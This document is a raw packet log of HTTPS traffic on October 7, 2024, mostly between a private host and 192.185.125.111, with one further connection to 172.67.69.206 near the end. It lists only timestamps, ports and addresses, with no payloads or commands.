Oct 7, 2024 14:10:18.229635000 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.229695082 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.231559038 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.231637001 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.234666109 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.234739065 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.289964914 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290031910 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290035009 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290047884 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290072918 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290088892 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290203094 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290260077 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290277958 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290333986 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290474892 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290519953 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290705919 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290745974 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290760994 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290766954 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290786982 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290802002 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.290929079 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.290980101 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.309263945 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.309333086 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.309367895 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.309425116 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.309465885 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.309523106 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.309982061 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.310033083 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.310842037 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.310894012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.312361956 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.312432051 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.314569950 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.314631939 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.317254066 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.317328930 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.372561932 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.372596979 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.372646093 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.372662067 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.372699022 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.372715950 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.372791052 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.372848034 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.372865915 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.372922897 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.373099089 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.373164892 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.373226881 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.373298883 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.373341084 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.373394012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.373435974 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.373490095 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.391695976 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.391793966 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.391850948 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.391911030 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.392467022 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.392509937 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.392529011 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.392537117 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.392560959 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.392580032 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.392802000 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.392865896 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.393887043 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.393965006 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.395131111 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.395210028 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.397377014 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.397456884 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.400202990 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.400271893 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.455488920 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.455670118 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.455688000 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.455698013 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.455812931 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.455840111 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.455941916 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.455950975 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.455962896 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456031084 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.456043959 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456166983 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456207037 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456315041 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.456322908 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456341982 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456386089 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.456476927 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.456481934 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.456530094 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.474630117 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.474695921 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.474875927 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.475019932 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.475440025 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.475508928 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.475567102 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.475625992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.476416111 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.476485014 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.477664948 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.478156090 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.482651949 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.482719898 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.488240957 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.488914967 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538192987 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538255930 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538279057 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538285971 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538297892 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538321972 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538345098 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538547039 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538641930 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538656950 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538722992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538773060 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.538836956 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.538928032 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.539062977 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.539099932 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.539407969 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.557529926 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.557647943 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.557658911 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.557724953 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.558042049 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.558099985 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.558152914 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.558228970 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.559868097 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.559954882 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.560539007 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.560632944 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.566023111 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.566092014 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.571237087 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.571326971 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.620984077 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621079922 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621103048 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621112108 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621121883 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621181965 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621181965 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621191978 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621244907 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621299028 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621306896 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621325970 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621378899 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621386051 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621486902 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621560097 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621567011 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621715069 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.621813059 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.621820927 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640111923 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640197992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.640208960 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640304089 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640372992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.640379906 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640536070 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640594959 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.640600920 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640695095 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640793085 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.640800953 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640814066 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.640990019 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.640997887 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.642410994 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.642525911 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.642533064 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.643330097 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.643456936 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.643465042 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.648751974 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.648901939 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.648910046 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.654098034 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.654175043 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.654184103 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.703546047 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.703604937 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.703630924 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.703644037 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.703692913 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.703692913 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.703824997 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.703883886 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.703891039 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704144001 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704150915 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704233885 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704257965 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704354048 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704375982 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704384089 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704420090 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704420090 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704484940 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.704688072 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.704946041 CEST	49795	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:18.704976082 CEST	443	49795	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:18.705070972 CEST	49795	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:18.705612898 CEST	49795	443	192.168.2.5	172.67.69.206
Oct 7, 2024 14:10:18.705626011 CEST	443	49795	172.67.69.206	192.168.2.5
Oct 7, 2024 14:10:18.723517895 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.723670006 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.723673105 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.723702908 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.723767042 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.723767042 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.723859072 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.723948002 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.723948002 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.723962069 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.724980116 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.725197077 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.725282907 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.726223946 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.726720095 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.731494904 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.731719017 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.736995935 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.737068892 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.756484032 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.787636995 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.787735939 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.787760019 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788054943 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788121939 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788121939 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788130045 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788219929 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788374901 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788427114 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788427114 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788434029 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788579941 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788629055 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788629055 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788635969 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.788717985 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.788991928 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.789271116 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.808373928 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.808484077 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.808492899 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.808523893 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.808579922 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.808579922 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.808825016 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.808885098 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.809031963 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.809103012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.810132980 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.810189962 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.810707092 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.810854912 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.814275980 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.814423084 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.819691896 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.819807053 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.870337009 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.870399952 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.870523930 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.870646954 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.870666027 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.870723963 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.870795965 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.870882034 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.871066093 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.871154070 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.871207952 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.871273994 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.871365070 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.871421099 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.871648073 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.871740103 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.891031981 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.891144991 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.891501904 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.891592026 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.891638041 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.891727924 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.891747952 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.891817093 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.891875029 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.892199993 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.892872095 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.892963886 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.892963886 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.893335104 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.893393993 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.896969080 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.897232056 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.903438091 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.903820038 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.957438946 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.957590103 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.957648039 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.957699060 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.958065033 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.958179951 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.958188057 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.958245039 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.958544970 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.958619118 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.958695889 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.958744049 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.960382938 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.960485935 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.961596012 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.963402987 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.979151011 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.979388952 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.979396105 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.979465008 CEST	49783	443	192.168.2.5	192.185.125.111
